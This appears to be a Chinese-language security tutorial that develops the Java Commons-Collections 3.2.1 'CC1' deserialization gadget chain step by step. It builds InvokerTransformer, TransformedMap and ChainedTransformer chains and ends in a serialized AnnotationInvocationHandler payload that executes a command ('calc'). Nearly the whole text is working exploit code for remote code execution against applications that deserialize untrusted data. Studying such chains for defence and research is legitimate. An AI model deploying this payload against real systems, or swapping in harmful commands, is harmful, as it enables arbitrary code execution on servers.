JAVA反序列化CC1
参考:Java反序列化CommonsCollections篇(一) CC1链手写EXP_哔哩哔哩_bilibili
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java
环境搭建 jdk1.8 依赖 common-collections-3.2.1
还要下载sun包源码便于分析 参考:https://blog.csdn.net/mazhongjia/article/details/108292927
漏洞分析 普通测试执行代码
1 2 3 4 5 6 7 8 9 public class CC1Test { public static void main (String[] args) throws Exception { Runtime r = Runtime.getRuntime(); Class c = Runtime.class; Method exec_method = c.getDeclaredMethod("exec" , String.class); exec_method.invoke(r, "calc" ); } }
0x1 包中有 InvokerTransformer 可以看到其中transform方法可以反射调用函数 而且类和函数名均可控
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public class InvokerTransformer implements Transformer , Serializable { private final String iMethodName; private final Class[] iParamTypes; private final Object[] iArgs; public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform (Object input) { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } }
测试:
1 2 3 4 Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" });invokerTransformer.transform(r);
0x2 接着继续追踪InvokerTransformer.transform
在哪些地方被调用
发现TransformedMap.checkSetValue
中有
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable { protected final Transformer keyTransformer; protected final Transformer valueTransformer; public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); } protected Object checkSetValue (Object value) { return valueTransformer.transform(value); } }
TransformedMap.checkSetValue
又在 AbstractInputCheckedMapDecorator.MapEntry.setValue
中被调用
也就是遍历map时setValue 又因为TransformedMap
是AbstractInputCheckedMapDecorator
的子类 所以遍历TransformedMap
并setValue即可触发
但需注意给的value值应该为要transform的类对象
而 AbstractInputCheckedMapDecorator.MapEntry.setValue
又在rt.jar
中的sun.reflect.annotation.AnnotationInvocationHandler.readObject
中被调用 到这里就明显有一条反序列化利用链了
测试:
1 2 3 4 5 6 7 8 9 10 Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" });Map<Object, Object> map = new HashMap <>(); map.put("key" , r); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null , invokerTransformer); for (Map.Entry entry:transformedMap.entrySet()) { entry.setValue(r); }
0x3 因为Runtime
不可序列化 所以要利用反射构造
1 2 3 4 5 6 7 8 9 Method getRuntimeMethod = (Method) new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }).transform(Runtime.class);Runtime rt = (Runtime) new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }).transform(getRuntimeMethod);new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }).transform(rt);
多个Transformer已经有现成的类ChainedTransformer
来处理
构造时按顺序传入InvokerTransformer数组 然后transform时输入最开始的参数 就会链式调用了
1 2 3 4 5 6 7 ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }); chainedTransformer.transform(Runtime.class);
此时再次搭配Map:
1 2 3 4 5 6 7 8 9 10 11 12 13 ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }); Map<Object, Object> map = new HashMap (); map.put("key" , "val" ); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null , chainedTransformer); for (Map.Entry entry:transformedMap.entrySet()) { entry.setValue(Runtime.class); }
0x4 sun.reflect.annotation.AnnotationInvocationHandler.readObject
中进行两个if检测,通过后setValue:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } }
setValue 看起来传不了我们想要的Runtime.class 那么可以改造ChainedTransformer,增添一个ConstantTransformer
1 2 3 4 5 6 7 8 ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }); chainedTransformer.transform();
此时再结合AnnotationInvocationHandler序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }); Map<Object, Object> map = new HashMap (); map.put("value" , "val" ); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor aic = c.getDeclaredConstructor(Class.class, Map.class);aic.setAccessible(true ); Object o = aic.newInstance(Target.class, transformedMap);serializeTest(o); unSerializeTest();